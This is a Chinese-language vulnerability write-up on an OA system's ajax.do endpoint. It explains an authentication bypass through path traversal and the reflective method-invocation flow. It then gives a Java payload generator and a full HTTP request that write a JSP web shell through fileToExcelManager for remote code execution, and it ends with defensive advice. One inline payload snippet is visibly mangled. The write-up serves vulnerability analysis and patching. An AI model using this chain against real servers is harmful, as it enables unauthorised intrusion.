某OA ajax.do处漏洞分析
字数 1649 2025-08-20 18:18:16
OA系统ajax.do漏洞分析与利用教学文档
漏洞概述
本漏洞存在于某OA系统的ajax.do接口,该接口允许调用系统内部其他类的方法。通过特定的URL构造可以绕过权限验证,进而实现未授权访问和远程代码执行。
漏洞分析
1. 权限绕过机制
1.1 安全过滤流程
- 所有
.do结尾的请求都会经过SecurityFilter和CTPSecurityFilter的校验 isSpringController方法校验规则:- 以
.do结尾的URL返回true - 包含
.do;jsessionid的URL返回true
- 以
1.2 认证绕过原理
-
SpringControllerAuthenticator#authenticate方法流程:- 检查是否登录
- 未登录时调用
isNeedlessCheckLogin方法 - 对于
/ajax.do请求,accessUrl被设置为managerName参数值(默认为null) - 检查
accessUrl是否在needlessUrlMap中 - 当
accessUrl为null时会抛出异常
-
绕过技巧:
- 利用Spring的
alwaysUseFullPath=false特性 getPathWithinServletMapping会对URI进行标准化处理(解码、处理跨目录等)- 构造如
/main.do/../ajax.do的路径可以绕过验证
- 利用Spring的
1.3 最终绕过方案
发现autoinstall.do在needlessUrlMap中且包含*通配符,因此可以使用:
/autoinstall.do/../ajax.do?method=ajaxAction&managerName=constDefManager&managerMethod=listPage
2. ajax.do调用机制
2.1 调用流程
/ajax.do对应com.seeyon.ctp.common.service.AjaxController类- 主要逻辑在
ajaxAction方法中:- 调用
invokeService方法处理请求 - 如果传入
ClientRequestPath参数且不在黑名单中,会调用ZipUtil.compressResponse解压缩
- 调用
2.2 invokeService方法分析
-
获取参数:
serviceName:要调用的服务名methodName:方法名strArgs:参数compressType:压缩类型
-
根据
compressType调用ZipUtil.uncompressRequest处理strArgs:gzip类型会进行gzip解压缩- 其他类型返回原始数据
-
通过
getService方法获取服务对象:- 从
beanCacheMap中获取缓存的对象 - 检查对象是否继承
DataSource、Session或SessionFactory类
- 从
-
调用
invokeMethod方法反射执行目标方法
2.3 方法查找与调用
-
judgeCandidate方法:- 反射获取服务对象的所有方法
- 匹配方法名和参数个数
- 将匹配的方法加入列表返回
-
findMethodAndArgs方法:- 从候选方法中找到具体要调用的方法
- 返回
Method对象和参数
-
反射调用目标方法
漏洞利用
1. 利用fileToExcelManager实现RCE
fileToExcelManager的saveExcelInBase方法存在文件上传漏洞,可导致远程代码执行。
1.1 漏洞点分析
-
saveExcelInBase方法接受3个参数:- 文件路径
- 文件名
- 文件内容
-
写入文件时会在内容前后添加双引号,直接插入shell代码会被破坏
1.2 绕过技巧
利用换行符和双引号闭合前后的双引号:
"\"\r\n" + "<% out.println(\"ttttttttt\ + "\"\r\n"
1.3 利用代码示例
import com.seeyon.ctp.common.excel.DataRecord;
import com.seeyon.ctp.common.log.CtpLogFactory;
import com.seeyon.ctp.util.ZipUtil;
import com.seeyon.ctp.util.json.JSONUtil;
import org.apache.commons.logging.Log;
import java.net.URLEncoder;
import java.util.ArrayList;
public class fileToExcelManagerPayload {
private static final Log LOGGER = CtpLogFactory.getLog(fileToExcelManagerPayload.class);
public static void main(String[] args) {
DataRecord d = new DataRecord();
String[] c = {
"\"\r\n" +
"<% out.println(\"ttttttttt\"" +
"\"\r\n"
};
d.setColumnName(c);
String dd = JSONUtil.toJSONString(d);
final ArrayList<Object> list = new ArrayList<>();
list.add("../webapps/ROOT/x.jsp");
list.add("\"\"");
list.add(d);
final String list1 = JSONUtil.toJSONString(list);
String strArgs = ZipUtil.compressResponse(list1, "gzip", "UTF-8", LOGGER);
System.out.println(URLEncoder.encode(strArgs));
System.out.println("end");
}
}
1.4 利用请求示例
POST /seeyon/autoinstall.do/../ajax.do?method=ajaxAction&managerName=fileToExcelManager HTTP/1.1
Host: target
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 6357
managerMethod=saveExcelInBase&managerName=fileToExcelManager&method=ajaxAction&requestCompress=gzip&arguments=<压缩后的参数>
防御建议
- 升级到最新版本,修复权限绕过漏洞
- 对
ajax.do接口增加严格的权限控制 - 对文件上传操作进行严格的路径和内容检查
- 设置
alwaysUseFullPath=true避免路径标准化导致的绕过 - 对反射调用方法进行白名单限制